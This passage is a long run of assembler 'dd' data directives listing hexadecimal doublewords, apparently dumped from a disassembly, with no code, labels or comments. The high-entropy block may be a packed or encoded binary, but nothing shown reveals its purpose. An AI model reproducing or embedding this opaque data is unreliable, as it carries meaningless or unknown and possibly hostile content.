7F0984B4h, 84A485E8h, 0A610554h, 0F701F497h, 496E448Ch dd 84971201h, 80E9610Bh, 0B0775F0h, 0E5CE02EAh, 0DB1DA460h dd 819FED90h, 2490C14Ch, 34F88DF8h, 2E4932F4h, 6D233Ch dd 0B88D69B2h, 301B73Fh, 425D769Dh, 203C0159h, 0A9D55407h dd 0FC1D0BA8h, 96804C91h, 1C4BB77h, 0AE452901h, 2151B995h dd 8508097Ah, 0E0AFECB7h, 0BA16FB2h, 0E2FDCE01h, 29163458h dd 50B4524Dh, 89AB205Ah, 7220CCB0h, 5F230BCFh, 0C40E949h dd 0A7179C09h, 8B6E8A5h, 0FE9D363Dh, 7AAE014Bh, 21153A8Dh dd 7F54011Ch, 0C4E86C72h, 0D4810B34h, 0F7C05F56h, 0F04B46D2h dd 0AEFAA1h, 3805140Dh, 31494472h, 0A47A5E44h, 948000F8h dd 48D40975h, 0C01D017h, 6F0A4591h, 0FEE4136Ch, 22EA4EDDh dd 3CE012CCh, 4925BC34h, 0B21809C5h, 4080F4C0h, 9E2F2942h dd 2B020300h, 0A8B7A213h, 62E325ACh, 6743B851h, 691EC8D4h dd 0A716003Ch, 0E8059643h, 0EF38CA61h, 0CC762E58h, 788EF404h dd 4BA290F3h, 2B6A530h, 0B9BA19DBh, 44F8B531h, 4502DA18h dd 3E3DF029h, 0BCAD4EBh, 0ACD910F8h, 51025D07h, 0BFAA2190h dd 12760064h, 93A14C7Bh, 0E9176558h, 40090CE2h, 1EC44A2h dd 35E167ECh, 0C44950CCh, 6A098EACh, 514523BCh, 95D9700h dd 1C025195h, 10C12233h, 3118079h, 11619A93h, 0B8D68236h dd 5E60185h, 0BCF674F0h, 495E04CCh, 0AC609575h, 9C38C90h dd 7180F79Bh, 95E8F78h, 56001B88h, 2589D420h, 3A576D06h dd 28820BB7h, 0CC7B50CEh, 378B84DCh, 0BCF29Ah, 4107B67Ah dd 22943C29h, 659F4700h, 28DE5F0Ch, 94FE75EDh, 9203804Ch dd 0CE05550Dh, 2E34Bh, 207BF573h, 0DE4226BCh, 0A717B7A0h dd 594D4702h, 806196A3h, 0FC2A12BFh, 0B2511C26h, 3C49CA73h dd 1E68B84h, 77F538A3h, 80842A59h, 550C8431h, 5864943Eh dd 8400399Ch, 1F0A74C3h, 3E02236h, 0B92AE34Bh, 0E90CDB99h dd 1A730147h, 12B30B95h, 0ECE0252Ch, 9B07D383h, 0E0556DDh dd 6410C789h, 1020604Fh, 9D51125Fh, 9A004A37h, 0D23C0040h dd 6F38D9F1h, 967D3277h, 7422062Eh, 47467Eh, 14C10108h dd 983093ECh, 33373D2Fh, 25CD8F84h, 0B228F3CEh, 27F530C9h dd 0A0402AE5h, 585FE5CAh, 16140038h, 4F1EC1A3h, 0CE2F8398h dd 9BF44081h, 4BB92461h, 2CE5C96Ch, 0D46077E4h, 0E20E1CB5h dd 573DCD54h, 7B2D1421h, 0B98D2868h, 25AC38B1h, 21CC403Dh dd 76F30355h, 0F4EAF5A8h, 6869A6DAh, 63DF10E1h, 0A04A3BE7h dd 53863985h, 79680D6h, 2177CD5Fh, 844370C9h, 3417CF0h dd 69D9F5CEh, 2C522C0h, 0F8552095h, 38C046B0h, 0BC86611Dh dd 0FDDC8278h, 9A03D0C1h, 888900DDh, 7A787319h, 8131A93Eh dd 0CCB18096h, 69446008h, 18E895A2h, 0B4007816h, 44E9C57Fh dd 90828622h, 0F5232CDDh, 49A8023Ch, 94808595h, 0E011EDD6h dd 5974A0A4h, 0DE0D2086h, 0A45D0B01h, 2B5E7AD8h, 7460EF21h dd 38B8072h, 40078D2h, 0BE09985Ah, 0D7F8A889h, 9198BE9Dh dd 0CB87803Ch, 0B4925D0Ch, 901858C0h, 7173CB01h, 7D112A81h dd 7B983Dh, 3C4F8228h, 495D07F9h, 0B840552Eh, 0CD0854A6h dd 59DA047Ah, 5A3782BAh, 93FD5CC8h, 17BC0E40h, 44827D51h dd 0C1AE8958h, 5371C0h, 95FF855Bh, 0DB9EF835h, 0A90D32C0h dd 1C6BB867h, 9EE60E2h, 0DC65DA01h, 1D60C5E4h, 55F42B1Ch dd 0F9BB5E00h, 35EDBF06h, 134BCB9h, 0C228ACE3h, 0B5CF4087h dd 3269FD61h, 11901DD8h, 0EA9880D3h, 0A4623851h, 30F5FAB8h dd 4270B791h, 1092A561h, 0B9AF5609h, 0E4F4C5D5h, 515760D0h dd 27EC0228h, 0D5EE80E7h, 0A7245C50h, 8108A420h, 9D5D01D4h dd 0CCADED86h, 0A090FBA9h, 914F5921h, 0A12702B3h, 60DF8ED9h dd 84E3A56Ch, 91B41595h, 641F80CEh, 5F575D6h, 3889F856h dd 5D700358h, 88123BB7h, 5CB246A5h, 0DA2E5122h, 15444404h dd 0C1F80B2h, 0A5AE802Fh, 0E1D902E9h, 18A9E200h, 985CBA96h dd 9A340835h, 4E38DDE8h, 70C2349Ah, 0AC805A8Dh, 0CE019D41h dd 5F80397Bh, 6103131h, 0A740C7B0h, 703802A1h, 0A30CB10Ch dd 5B5CFBE6h, 0F86E8ED0h, 0F672B602h, 836978FCh, 9C8DDE8h dd 52654989h, 0C78520E8h, 0BD061684h, 23743ED5h, 480124Fh dd 27755F8h, 0F815CD5Eh, 94424CC8h, 2F414C3Ah, 2951C460h dd 0F0038150h, 4082978Eh, 804F752Ch, 9B6976DBh, 55300230h dd 0B27D0486h, 3073F2A0h, 94FA0ABFh, 1EE080E0h, 8DED5512h dd 0DA9BE845h, 0AD270FCh, 3305BF0h, 0DA57383Ah, 0E88D1126h dd 210E74A4h, 0D65022Fh, 98D4540Eh, 3387218Eh, 7454BC5Ch dd 1397A0A4h, 0FD59F010h, 0ACAD00A3h, 0D6BB212Eh, 3395D47h dd 84132D8Fh, 33611418h, 2E55F084h, 9EC02499h, 2E88843Bh dd 32FC4EF2h, 2F301040h, 55121184h, 80D2880Eh, 6A8437A2h dd 0EC4A19C4h, 0B83A0034h, 0A61C7523h, 185538C9h, 0E63EBBE0h dd 8173EA51h, 0E0243029h, 13B45688h, 0B4DD49A7h, 0BA0C3A3Ch dd 10899D31h, 1029788Bh dd 472E951h, 1E8AFD56h, 610004EAh, 5DA44D6h, 0BC34B4h dd 0ED88EC8Dh, 1052721Ah, 95212098h, 0C8DA905Eh, 3038A841h dd 0CA695A91h, 0B866F4h, 0E989D4EEh, 0CAA443D6h, 747120C5h dd 57070713h, 8959BBCAh, 9D045629h, 0B6096006h, 0F1DBE851h dd 3D58B104h, 0C5B117CEh, 0C6EE143Ah, 0BE010DF4h, 0EC68AD11h dd 0D73EA149h, 0AC8F2C7Ah, 142A8601h, 0D0485CE3h, 67C20134h dd 2276D23h, 206E2B7Dh, 56790302h, 2460055Fh, 1E89D171h dd 23202F2Ah, 0B39D0072h, 3167CC9h, 0B7E5C613h, 4BB904D1h dd 0AB4A5908h, 804BE0C9h, 73C0C888h, 2F5E5D9h, 12DD78E7h dd 0C860368Ch, 3080CC69h, 93E013A4h, 4D5404C3h, 2228A2D2h dd 8F04148Ch, 5AC44C56h, 3DA44C2h, 21F8B4h, 22140755h dd 0C3B956FCh, 7A7D3117h, 28D1E435h, 0F8BF9469h, 0F50CAA0h dd 0C88491FCh, 0B8A07180h, 90C20529h, 853A138h, 0B68EE45Ah dd 48B529F5h, 86730D20h, 0C4B4D14Ch, 0FCC837B5h, 74CB431Dh dd 15ECC9C0h, 21C3C39h, 564EF52Fh, 50B15EE6h, 0BC28106Bh dd 6DC0C487h, 207B32CFh, 0DAA9B601h, 0BF75580h, 857C6EF4h dd 81351086h, 2D947248h, 1154171Ch, 0A0B18051h, 50D7DB5Eh dd 44E1D494h, 0DD7D2E48h, 0C791A893h, 88031E12h, 61185D90h dd 0FD3845B5h, 2EF51FC5h, 0F7302A6h, 0BC820B33h, 2F204B85h dd 93B8DCEh, 6D1159BCh, 0D08EEC10h, 46E0FF44h, 0E8E048DAh dd 661F8CC5h, 6B808FD8h, 0FC2ABC5Eh, 7DDD0C27h, 0BF29E37Ch dd 0EED9EF02h, 44BBF34Eh, 20B46C8h, 18B9708h, 88C727h dd 0D3971047h, 0BC052B28h, 0CFF034F9h, 41C6F82Ch, 0FD5C413Dh dd 7DD822CCh, 908C4640h, 4608248h, 98EDEE88h, 80013116h dd 0BE7FDC5Ch, 4B6EC09Eh, 7D64E857h, 61084AEh, 8C88D546h dd 311F0DC0h, 0C22221BAh, 2004D91h, 0BDE01F05h, 0CB00D447h dd 3905797h, 0CF7E0F94h, 4901DC0h, 0FBB2595Fh, 0F910B414h dd 0DD7416D5h, 78C870CBh, 0F1150DC0h, 70080455h, 0BE943726h dd 85F69C04h, 497437AFh, 98400076h, 58208E49h, 0D70B86D3h dd 2CB0C375h, 98ABC79Ah, 7EB900CFh, 0B2072813h, 1CE7C171h dd 0ACC44C90h, 6A410001h, 870E0CF9h, 3300233Ah, 0B507DA68h dd 2D08D283h, 2C247D59h, 48E9A2h, 0AD1DA7BBh, 5ADA5CB8h dd 0AA58203Eh, 1500DBCCh, 51423681h, 0AACBBD0h, 9DAFAA9h dd 870C45C8h, 7AED40A5h, 0FF5B4D28h, 0E5F9442h, 8440E032h dd 8D8C1209h, 15FC0902h, 179FCC78h, 87D19118h, 85D3B91Ah dd 0E12CE0C7h, 32F901FCh, 7C30209Ch, 26C03078h, 0F6EF8F12h dd 9E180B6h, 0AA58F03Dh, 5A396313h, 1275E408h, 21508D87h dd 72CDA8h, 554190h, 0E279CF0h, 0E24A22D5h, 0BCB40400h dd 5F865D69h, 67F112FBh, 8088DB5Eh, 39220DB2h, 5E0B01AEh dd 7810B8CCh, 4624688Fh, 495F09ACh, 29F4A285h, 0C5AC6D1Dh dd 597C801Dh, 0A45C85CDh, 7FC20158h, 0C8EB4FABh, 0B4473FF4h dd 0CC465E58h, 959C91Fh, 0E0F94224h, 0A18D079h, 0AB770604h dd 4EBB227h, 0D8890Ch, 53542845h, 80A34883h, 8658E30Dh dd 0FCECF4F9h, 1527C97Ch, 5C727Eh, 32518BF9h, 0C5B39346h dd 0B7DBC03h, 0A034ACE3h, 3094CF5h, 4044309Dh, 37886105h dd 0E14C7902h, 8C76E8B4h, 2D4B201h, 9B5EE9F6h, 9A00EC22h dd 0C4C204DAh, 3D1E054Ah, 0B1D85D65h, 1D22612Eh, 1DEA0254h dd 5F9DD65Fh, 0AC954354h, 10E03CA3h, 0ED27CDADh, 78C0C9CAh dd 0ADE17C26h, 0A919FCCBh, 0F803B209h, 0E460E5B6h, 479560D0h dd 90B84B7Fh, 8B786EC0h, 0FEEC10B7h, 85D40040h, 20F906ACh dd 5E00DE2Fh, 9A56F613h, 96F50812h, 0AF348720h, 0F2011020h dd 910004F1h, 0E228A421h, 9256987h, 1693B76Dh, 0CF11CCF6h dd 3D0FF00h, 17CA159Fh, 75025D0Fh, 683B20F1h, 7F3776AAh dd 0E404B792h, 0F2F4E2D2h, 0B9D430C9h, 27D88F38h, 905110h dd 338E6384h, 6A00E266h, 318FC4F7h, 0EBDA17h, 0A5AB5D58h dd 0B60D1FE6h, 49935917h, 702F1417h, 0E900C923h, 0B9232E36h dd 986D28EDh, 0C9F512D9h, 610425DAh, 296138E0h, 0F5C3D18h dd 0E2176996h, 0D4CA23BCh, 76465EECh, 8A8332Ch, 1938D5E9h dd 0D21001DCh, 0FDDB4500h, 0C021444Bh, 0C8CF048Eh, 155FA35Dh dd 8420030Ch, 8AD7DA80h, 0E49D0E72h, 201F07E0h, 0C3663590h dd 0E61202EEh, 0BC8C0CDAh, 0C7D038EFh, 8B03DE01h, 4006DB44h dd 412F2120h, 3012D30Eh, 0C4080298h, 7984594Ch, 24A1871h dd 0B2730F0Bh, 5CA1B5B7h, 7C1CB9EAh, 8C47B844h, 0B59D7303h dd 0B0EE592Dh, 2C20BEFBh, 0C9340B5Fh, 0D211941Dh, 5A1AF280h dd 580762B6h, 7DAA24CEh, 0BCF14Ch, 0F793DE27h, 0BB3C57C7h dd 54940800h, 0AC31D311h, 81FD13B4h, 220E8DFh, 0C5EDBED5h dd 928CDCDEh, 3F04F106h, 0EA00AC6Eh, 7CDF4D98h, 0DD00B339h dd 4290B81Fh, 99C5CFCh, 8977FA4Fh, 260090E4h, 0B1E6B8F7h dd 159148h, 977C1F9Fh, 552FFA35h, 0EA00109Fh, 73A713EEh dd 6FC21F5h, 0B08F20CAh, 8E258AF2h, 0EE74A0A1h, 4EF8491Eh dd 0FF0C8DBh, 74D982h, 333A0441h, 0B95491E7h, 2F0113E0h dd 0E1D1A967h, 8C603287h, 41080038h, 22055923h, 855A0115h dd 5023A02Fh, 45793700h, 76723CB5h, 3C74F931h, 5E92048Fh dd 0A4562151h, 0CE3C998h, 14568A7Eh, 83007410h, 5F140AD4h dd 0D65AE9CDh, 2AE0C422h, 744674FCh, 5D3B7E00h, 8FFE50D7h dd 8D28D40Ch, 0FD984Eh, 0A59CFFB5h, 0B756FC3Dh, 14D71C24h dd 32801311h, 46550D84h, 9DD1448Ch, 58843A1Ch, 0BC920381h dd 162BB128h, 0B21C12C4h, 0C0A8F7D0h, 3672F6E8h, 0CA8FC21Fh dd 0EAB922C4h, 0A110E4FCh, 0C23C5088h, 13E2780Fh, 2110F853h dd 43D10330h, 0FDB585A8h, 1288E88Dh, 7F00699Bh, 521856ADh dd 705C5038h, 93030B83h, 149DBDFFh, 0C7827111h, 0AF605DA1h dd 0EAE0A6FAh, 0DCE49Fh, 0BF784C2Dh, 0A08C8666h, 7DC45E13h dd 0AE051804h, 441100A4h, 10C40C61h, 30175B91h, 0E60F5514h dd 9F760D06h, 0C26142D2h, 3BD4E2F0h, 8107C56h, 8C4DFCh dd 429DC059h, 573E619Ch, 0B74E2498h, 70B90C44h, 0C02254F2h dd 84A47E5Ah, 850C00B7h, 0CE833A44h, 0F81BEC1h, 0C6754888h dd 0AD49A802h, 0D17D005Dh, 0D50FF5E8h, 3729BA33h, 0DE7C1482h dd 0C0976B14h, 2D80D091h, 0EEED6485h, 0A1A92212h, 3B449890h dd 2D05039Bh, 0C5691A3Ch, 4A6F75B8h, 0FF577600h, 8ADE9CE8h dd 387777C2h, 85037291h, 7BBAED28h, 6C8DB7A1h, 8CC8BCD0h dd 0AB457300h, 1683FF9Dh, 38E326A0h, 0E7B96070h, 9A0F6701h dd 0C5861D6Ch, 0B0B28F5Ah, 0B4229912h, 0CD72552Ch, 0C132094h dd 0B35A80F3h, 0F1245054h, 6D093E40h, 7B183681h, 0DB7FF402h dd 0F1D8D1DDh, 0E4F018C6h, 5812FAFFh, 1403077Fh, 0E161EDDDh dd 4972981Ch, 5EFCC06Dh, 0A1649892h, 3B2E3C2Ah, 6E2360h dd 0DA5480F4h, 0A805333Bh, 0AB0B57A9h, 771050E8h, 0C09088D4h dd 0BA2D1F11h, 6CCB024Fh, 1F09FE07h, 0D0C0FFA8h, 0E5606763h dd 1042D12Fh, 83723D28h, 5A37CAC8h, 0CC89D42Ah, 6EC3B112h dd 0DCC28844h, 0BC8C0013h, 925F84A5h, 2938C89Eh, 74D17C42h dd 6B004F18h, 0A90D0C4Bh, 131DBFC2h, 0F0F9BE01h, 290561F0h dd 0DE0F2A16h, 77F2F0B2h, 987230h, 0D484554Fh, 7FF5F842h dd 0B97021C7h, 0C3BDE0CFh, 55BB14Bh, 0C803B327h, 4309AEE6h dd 7B54719Fh, 2EB460D4h dd 2C8197F9h, 0E29B9417h, 6494484Ch, 0C54656h, 95DB4BCBh dd 290F193h, 117231B5h, 0F851D60Ch, 0CEBB1C00h, 0F7DE820h dd 723BFC39h, 0B1DCB921h, 94C6C0Dh, 45A6EB0Eh, 6046E410h dd 1E7BABBh, 504BDC2Bh, 2111C2BEh, 9017F3B8h, 50F44C82h dd 0BAE040ADh, 63D15919h, 50EAF418h, 0C68916C0h, 0FCC4C069h dd 6004A826h, 0F75B619Bh, 0F36412FBh, 3075E204h, 70987907h dd 0DC9D2B01h, 35CD54ADh, 0EB9012FFh, 0F810A8D9h, 990F8CCAh dd 986D615Dh, 0B5A4A1A8h, 6EC47402h, 691144D4h, 3227FC03h dd 34C52E61h, 88AC8BFCh, 9D65C1D3h, 228062DBh, 615A09EEh dd 40916935h, 0D4340241h, 2F2316C0h, 6D23F4h, 62C64087h dd 0BF09948Bh, 8235DC9Eh, 823910h, 0AB8C0983h, 30C34E4Bh dd 4CF8BEB5h, 622710DFh, 30B574F8h, 407DBED4h, 0BB0130BAh dd 0B723161Fh, 0E0621CCAh, 36304CF2h, 0AD32005Eh, 7FC79221h dd 0EA0BE5FDh, 9D433364h, 80CE11C4h, 0F997704Bh, 0F0055CABh dd 0F8812h, 0F7552090h, 4098FD65h, 0F8FF2E28h, 7F09D301h dd 179A1A5Dh, 216D4993h, 0E2516084h, 8FE87F00h, 0B2CD1C59h dd 5A840219h, 84441129h, 5B98644Dh, 77C858CBh, 7E6AFCC0h dd 0B45D0212h, 7C938AF5h, 0CA889155h, 0E07999ADh, 675F269Fh dd 0E024D400h, 5E9A0F0Ch, 57DC0159h, 0E13887E6h, 273181AEh dd 0C0676C49h, 0A37EB041h, 0D546E047h, 915D0021h, 4B7766DCh dd 0EA0492E6h, 0DE2F9A33h, 8962E304h, 8F1440E0h, 7309A577h dd 1180ED51h, 98473F58h, 900A8F58h, 0B5CD58E2h, 0F10809DFh dd 61100034h, 64398607h, 1AACC401h, 0B099BF5Ch, 17F64864h dd 0C035F556h, 2161BA10h, 4CB45E5Dh, 5FE020A0h, 88F0CF17h dd 8E5BC047h, 4F1C7978h, 0E71331E2h, 40FE7806h, 44ECA768h dd 12967C6h, 6DFEF142h, 53034E0h, 0A9C1B9F6h, 7F9088F5h dd 0A895BD5Ah, 81ACF014h, 0D735C683h, 0BA2AC007h, 5112A50Fh dd 54005F45h, 0AA0313D1h, 5E58BE3Bh, 5B1D4746h, 6217800Eh dd 5F3F980Fh, 4B3C42Eh, 4091E59Ah, 8072BD84h, 59F0385Ah dd 0A23AA92Fh, 2C00160h, 0E4671585h, 4667344h, 1E3ECD02h dd 5844AD36h, 2F1A4AC0h, 0C42350h, 0D33F59C0h, 0A0514F6h dd 0F8F4B895h, 47C1CAAh, 7CA99B5h, 4E1A230h, 0C8888B1Ah dd 0BD03C219h, 24752528h, 127C01E0h, 0E8B4E997h, 1C67310h dd 0D9C94CD7h, 61DB0A05h, 0B7D59Ch, 402561B6h, 0CF0BDA74h dd 0DA31728Ch, 0BC280164h, 4DED5794h, 593180E2h, 0D99EDE04h dd 20DC908Dh, 617D9024h, 38C017F8h, 5ED0E6D2h, 0A35C0336h dd 9D9387AEh, 6E2E41A8h, 66D5590Eh, 22811803h, 0BFB0831Fh dd 0AF253AB3h, 0B079C1h, 1161DDFh, 5D252957h, 0DC486849h dd 71F42FEAh, 0AFECC52h, 1490435Bh, 5B0242A1h, 8081E85h dd 103315A0h, 0D626C223h, 41502E10h, 17D8139h, 0D8D5D556h dd 8D415984h, 0CAAE0759h, 71DDE192h, 18727970h, 0A7F8EF0Dh dd 0D83B5CC3h, 0FFB5200Fh, 89CD5FA1h, 3C232BC8h, 0DCCFA441h dd 0CC37588h, 4929F887h, 32B8C36Fh, 81B9A7CAh, 0EC606880h dd 41018CD3h, 31C3D5F2h, 60396EF9h, 0DCE8BE08h, 35295D04h dd 2D12D4F2h, 8E7CB8DEh, 5A049008h, 0ED6AF159h, 0DBC11594h dd 423E137Ch, 6497E820h, 0BB70CFB6h, 0B0BF8490h, 0C150D742h dd 5CBC892Fh, 0E66080F4h, 3A7CBDFCh, 5B3DA625h, 91F370C0h dd 0C8A1A627h, 35ED4Ch, 718168B0h, 0E290CFDBh, 0EC94595Eh dd 990040B2h, 1EB7F29Ch, 0AE2F315Fh, 0A054E8FBh, 0B99D3D81h dd 3B846990h, 6599BAEAh, 54817A79h, 0C4CC52A8h, 0F0B1B774h dd 3014479Bh, 0ABD4C730h, 9D098400h, 233433EFh, 957C0029h dd 1C9BFE21h, 952B55h, 4E9A3CC0h, 0F6A498FBh, 1AD78250h dd 790C7138h, 30C218CCh, 98D862E1h, 9A3072FCh, 4A2D21E0h dd 9F922619h, 0C77C0006h, 81BDFD61h, 20D2A54Ah, 0E0DCA979h dd 415949F0h, 20784639h, 1147E532h, 0DC4CF4A8h, 261CE2E8h dd 6007A20h, 2D515A25h, 14BCA45Ch, 845367C2h, 40E41510h dd 496519ACh, 0CCEDCD99h, 0C315D14h, 21EE0313h, 0A71F6DC8h dd 5FB02110h, 0E2AB149h, 0B3B78354h, 28734EDCh, 0C8292491h dd 0D5540F30h, 64ABA53Dh, 830438DAh, 5F8D4BD3h, 963AFCE4h dd 51CE846Ch, 700B09ADh, 0CC9920F0h, 160B715h, 0C2912B0h dd 1E320CC8h, 246EC3EDh, 27A31FA4h, 0D064F8E7h, 0E48D2260h dd 72CAE70Ch, 82D38149h, 108BB8C1h, 0CC88E87Fh, 311844C0h dd 7151DC88h, 52F3061h, 5F2138A8h, 56340C04h, 3BBED4BDh dd 0CD2374h, 730A98B7h, 0F430BE47h, 14457187h, 5570122Dh dd 0E9300463h, 213A004Ch, 9548CC30h, 0C8790CE3h, 1397CA40h dd 0E141F557h, 0A4D26E5Ch, 704CFB43h, 643B90AAh, 558E00FAh dd 5E2CE032h, 41CE2A63h, 9D7D71DCh, 0FDB4C080h, 249CC3B5h dd 5604D511h, 0E2B6150Fh, 9DA1280h, 4C334A4h, 0FBA10B9Fh dd 0B2E0F3D5h, 9B73304Fh, 571C867h, 0A23788B0h, 0F9C900C3h dd 0A75B3111h, 35036204h, 0A1443428h, 48410738h, 3041B25Dh dd 0CBDFC7C5h, 1D608B00h, 0D7881AA1h, 0E6573DDEh, 97593809h dd 534829h, 2E24AE70h, 2263C4h, 5CD9D7A6h, 0DD01E6CCh dd 61BA6F2Ch, 474857Dh, 1A0628CDh, 0E42348E0h, 939407Ah dd 34FE8501h, 0F4F53253h, 0DC3CC8F2h, 8AA8C858h, 0A4EC8612h dd 8CC9F8h, 889EBD63h, 47F5B9B5h, 44C8495Eh, 0BA5B0053h dd 122F84EDh, 0E5002587h, 56D3084Bh, 37F817Ch, 0AAF7556Ch dd 0C1DD65BEh, 35A166B4h, 79982334h, 0D449134Eh, 49AA0929h dd 46023D7Ch, 41B0DE2Bh, 0E55C28E4h, 0B7E5D873h, 6244CF01h dd 0DE259A75h, 2987A6Fh, 3A220F87h, 0A098F514h, 0CB80D33h dd 21375880h, 0DC702F00h, 4E7B07E9h, 0EB270B14h, 0E8E1680Ah dd 0F8BC7819h, 0CEE68C51h, 8B83FA3Bh, 9DDBA592h, 806E11A0h dd 0EA35503Eh, 6F77014Eh, 79B94DE3h, 0D0202E1Ah, 0A048D7B3h dd 0A02FE7h, 8AEBACCEh, 910ADF9Dh, 97D44B01h, 0B7A1CCC6h dd 0BB84812Ah, 5C59F551h, 18822D0h, 80794BEEh, 0B159FC20h dd 10552005h, 64E51F3Bh, 54109DEDh, 0BF4A51FDh, 207B501Dh dd 7425515Fh, 886E3Bh, 1BCA3430h, 2FB95606h, 0D0A0F4F3h dd 1D49BC3Ah, 8D07B4Eh, 0D6B06DBEh, 765CA0B1h, 85A6273Ch dd 0E60BB8F0h, 46AA089h, 2D52B48h, 0F0ED31BAh, 3C4D2604h dd 330F02FCh, 0A85E7E13h, 0D4E6481h, 0D9F420D7h, 6EE33A92h dd 36497C80h, 94CA41A2h, 0B844BDh, 9E55659Ah, 0D3341761h dd 4158BD09h, 53A07454h, 0B884E8CDh, 0A2098CD1h, 0A0C5F555h dd 78831BC8h, 7ECB1BF8h, 4A829D7h, 21005D49h, 0B69A1CADh dd 5BF63527h, 0A99841F4h, 0F8B9C1EBh, 0BB0FCAA5h, 40BAA896h dd 7D97CCB5h, 64609D34h, 7A274408h, 0C0C4CDD1h, 0FB926E70h dd 320C8898h, 2179F65Fh, 0DBB0301h, 0A1733F3Ah, 7E6B8DC0h dd 95F27C02h, 0DC3BF178h, 0A83401D8h, 6968B929h, 757C0BC4h dd 0CDE0B2C7h, 800FE1C8h, 127BC8A1h, 102DE425h, 0EE5618h dd 1AC4B1A8h, 0E586F65Ah, 59CE0208h, 0E7300E3h, 0DF80C228h dd 2590235Ch, 0D47042E1h, 7401DC90h, 357B314Ah, 4DC91A6h dd 189E4C0h, 7740FF54h, 3D32BFBDh, 94B8E0h, 0F6EE3CF0h dd 0DE44904Ah, 0AF31C312h, 0F72060CCh, 0CFE22473h, 78226A30h dd 826091Dh, 828B2Ch, 0AC0185CDh, 107FA9F5h, 9D10E448h dd 0D7DA0288h, 72517293h dd 4498B7ECh, 992028BDh, 0AB0B2452h, 8F8E90D8h, 646DE959h dd 290CFFD8h, 0C43890A9h, 2092102Bh, 0C7865D2Fh, 60C76404h dd 6B6E145h, 0DE2D8CEBh, 8BE89EAh, 9C01A413h, 0D6457DF4h dd 23583A6Ah, 4AF80175h, 7E9D613Ah, 0A7BB0091h, 7C40984Dh dd 96046F7Dh, 74D86810h, 3E00D146h, 7FCA2CB8h, 1371492Ah dd 0ED3F56ECh, 52D45245h, 80F51868h, 6EB8A9h, 941EBBF2h dd 0ECACC01Ah, 8E6F3100h, 0FDF51040h, 3068BF41h, 1380C5B5h dd 83D40184h, 15CD5F8Eh, 0D4217FC0h, 390242E5h, 8AE1C060h dd 0D82F8681h, 902F58B4h, 3E04689Ah, 0DF550074h, 19B927FCh dd 2A087E06h, 8DDE5638h, 0E0B107DAh, 1A126022h, 8C40BC29h dd 0A3FE3021h, 2FD613BBh, 3824A4C9h, 18CC624Bh, 550D058Bh dd 21B5F9EDh, 75D988h, 0BD6DD5ACh, 0F40C64C5h, 687982h dd 0D1082085h, 0ABA8753Bh, 62B4A627h, 91E0974Ch, 5BC9804Eh dd 1B4D230h, 6027B9C4h, 2F779455h, 2556D0CCh, 8905A0Bh dd 4D2D60BDh, 0E3D8383Bh, 0C250BC59h, 0B0FAD2B6h, 18647044h dd 0D989FD51h, 0FC9E42E9h, 0EA9A04F4h, 45A549BBh, 8020FDDAh dd 90C993C3h, 84E1F868h, 4656FC94h, 0C98F05CFh, 0BA05D9C5h dd 8B36456h, 54C45C07h, 134172E1h, 6B4038D4h, 285E3235h dd 2CD9998Dh, 6000BE45h, 0CFDF23FFh, 0A52D5502h, 57772401h dd 0C0C46C90h, 0B04FCE0Ah, 5803C380h, 0D0458772h, 58330774h dd 8601E00Dh, 0A530BD5Fh, 26EC2C43h, 40094F11h, 30D0D215h dd 2EF86570h, 0C4006B2Ah, 72BFB6EAh, 1C20DDBh, 92711DFFh dd 365F0E08h, 0E3EA0274h, 0A2E9B603h, 7415A79Ch, 9456491Ch dd 984BCA91h, 410916F0h, 0C2595173h, 711C18C8h, 30C69781h dd 3A16DC04h, 40EE2957h, 0E42E8CE8h, 8638D556h, 0C0655B1Eh dd 4B5740Fh, 6CF54903h, 6DE93831h, 5815DF00h, 25415F13h dd 0DC6024B1h, 3AE24155h, 5880B8C0h, 0F37F4E69h, 0A270622Ch dd 80460B1Fh, 3A60C4BFh, 0F63C36CCh, 0E5C12052h, 0FFE11Dh dd 83852129h, 3811DDE1h, 96740BA8h, 0F0908C20h, 4B4D5BB1h dd 3402E3ECh, 0C099E41Dh, 0DBF9E48Fh, 81AC7982h, 60B722CBh dd 28418BA1h, 0AA881BCh, 5EDF3695h, 3D288191h, 570900CFh dd 0B11009Eh, 0F1BC3890h, 830E5BD5h, 4AE07Eh, 2E8AAB56h dd 0C1AF186Dh, 63A320BBh, 410A700h, 59F85650h, 9C661DBCh dd 8F98043Ah, 7A54EDD3h, 0AAF2D700h, 89EC57F8h, 876E0130h dd 0A30D7B8Bh, 0B1FC5042h, 8C1F95BBh, 15040834h, 0D8B83ECCh dd 8CD2E8h, 0BF936A62h, 0A1F554F6h, 0EC58AF9Fh, 4A51E07Dh dd 875482A9h, 0BE988375h, 0F58016F7h, 2A2444DCh, 668CC3BCh dd 62A0F2A3h, 5E0328A7h, 561C4104h, 0FE2F8287h, 0BCDF8554h dd 11C4C637h, 1785701h, 0C47F0FC8h, 7C067DDAh, 0BE5B10D8h dd 0D4605C40h, 15885548h, 981D0BDBh, 0ADE00450h, 50C01228h dd 0CFF0282Ch, 58C444CAh, 0BD403E05h, 957CA3CCh, 8C1DC617h dd 0C848C4F8h, 1C510480h, 5356BCD0h, 837B8240h, 408854E2h dd 586E5C37h, 5E088702h, 0F2EC47E3h, 0BF7D7D3Ch, 22267061h dd 0E03C4694h, 0A894C57Fh, 5F1EBFA4h, 38CCD0D3h, 31CAB259h dd 42543424h, 0E00CF39Dh, 6695B97h, 7D08E5EFh, 9605D1D6h dd 57DEA2C9h, 0F65F4180h, 4548A1D0h, 1423BC5Bh, 0C583761h dd 8AA96186h, 0F8812026h, 0B1A853B8h, 0DA1939C6h, 261390Ch dd 10665442h, 5F809032h, 0E3271692h, 0B40D062h, 9300D782h dd 0EDBFB003h, 2514DE9Ah, 60E3F2F5h, 67085E4h, 807D82F4h dd 2CBBF22h, 0BC8C0D57h, 2099947Eh, 0A1BC4827h, 0A0743028h dd 5B9C5B49h, 226E30C0h, 8AD61698h, 7D68D0EDh, 455B6556h dd 3BA8CA2h, 0D9A44804h, 10C18C01h, 108C7144h, 0FC0859E9h dd 62217741h, 31AE08A6h, 1A1BE08h, 0AB017C56h, 65950199h dd 1572C01h, 0B501DC70h, 0F73B015Dh, 4FC2903h, 8304478Bh dd 798C0CD0h, 3EA5401Fh, 404C5340h, 9C56854h, 70930B42h dd 0BB1018E2h, 6A8F0891h, 80FE3980h, 0C8067E8h, 4296809Ch dd 80CB2E80h, 0EE806218h, 0F471C89Bh, 18AA8608h, 7BEF896Eh dd 80442580h, 8280A867h, 0B208C4EDh, 6D5A044Ch, 1CD4F004h dd 4048C010h, 0C4650862h, 0C9030402h, 108CA3D8h, 